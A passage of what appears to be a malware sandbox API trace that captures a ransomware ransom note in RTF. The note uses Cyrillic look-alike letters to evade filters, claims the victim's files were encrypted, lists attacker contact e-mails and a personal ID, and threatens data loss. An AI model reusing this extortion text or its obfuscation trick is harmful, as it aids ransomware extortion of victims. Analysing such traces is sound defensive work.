il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 